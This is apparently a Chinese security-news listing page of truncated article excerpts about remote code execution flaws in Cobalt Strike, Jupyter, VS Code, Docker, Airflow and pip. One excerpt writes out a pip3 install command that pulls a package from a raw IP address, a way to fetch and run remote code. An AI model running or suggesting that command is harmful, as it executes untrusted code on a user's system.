Nepxion Discovery是一个为Spring Cloud框架提供功能的开源项目,其中一个未修补的远程代码执行(RCE)漏洞已被公开。来自GitHub安全实验室(GHSL)的安全研究人员在9月...
Cobalt Strike通杀RCE代码审计公开课
1.背景知识Cobalt Strike是一款美国Red Team开发的渗透测试神器,常被业界人称为CS。其最大的特点是可以团战,拥有一个服务端,多个客户端,每个客户端就是一个攻击者,同一个红队团队中的...
Visual Studio Code Jupyter Notebook RCE
在过去的周末,我抽出几个小时来研究Justin Steven在 2021 年 8 月发现的这个Visual Studio Code .ipynb Jupyter Notebook 漏洞的利用情况。.i...
漏洞复现 Jupyter Notebook 未授权访问远程命令执行漏洞
0x01 阅读须知融云安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统...
警惕诡异的pip install命令(linux系统)
昨天出了一个新的“洞”,pip远程命令执行,我们回顾一下,顺便谨防钓鱼攻击其实说实话,这个洞是有争议的,不过竟然有效果,那咱们就复现一波。首先脚本地址是在github的https://github.c...
CVE-2022-38362:Apache Airflow Docker Provider RCE分析
>>>> 0x01 漏洞介绍3.0.0 版本之前的Apache Airflow Docker Provider附带了一个示例 DAG,该示例 DAG 容易受到 Air...
Linux Pip RCE (环境仅限半小时)
pip3 install "http://82"."156"."127"."149/Rce.png"原文始发于微信公众号(利刃信安):Linux Pip RCE (环境仅限半小时)
梦游渗透 一次从jmx到rce
渗透过程发现了一个集成的环境,开了jmx服务service:jmx:rmi:///jndi/rmi://1.1.1.157:9003/jmxrmi jconsole连上去之后发现一些敏感的账...
实战之 docker-unauthorized-rce 虚拟机逃逸漏洞
0x00 漏洞简介docker remote API未授权访问漏洞,此API主要目的是取代命令执行页面,开放2375监听容器时,会调用这个API,方便docker集群管理和扩展。0x01 正...
CS < 4.7.1 RCE 复现踩坑记录
文末附漏洞分析0x01 漏洞简介由于Cobalt Strike 使用 GUI 框架 SWING开发,未经身份验证的远程攻击者可通过在 beacon 元数据中注入恶意 HTML 标签,使得CS对其进行解...
最新CS RCE(CVE-2022-39197)复现心得分享
0x01 前言CS作为目前最流行的远控工具,其爆出的远程命令行漏洞CVE-2022-39197号称脚本小子杀手神器。之前看了@漂亮鼠大佬的文章《最新CS RCE曲折的复现路》,对文章的内容非常感兴趣,...
虚假的 RCE vs 真实的 RCE
前言前两天看 HackerNews 的时候发现一条新闻:news而这个漏洞的出处更加劲爆,原标题直接就是: SSD Advisory – macOS Finder RCE[1]。吓得我赶紧点...
219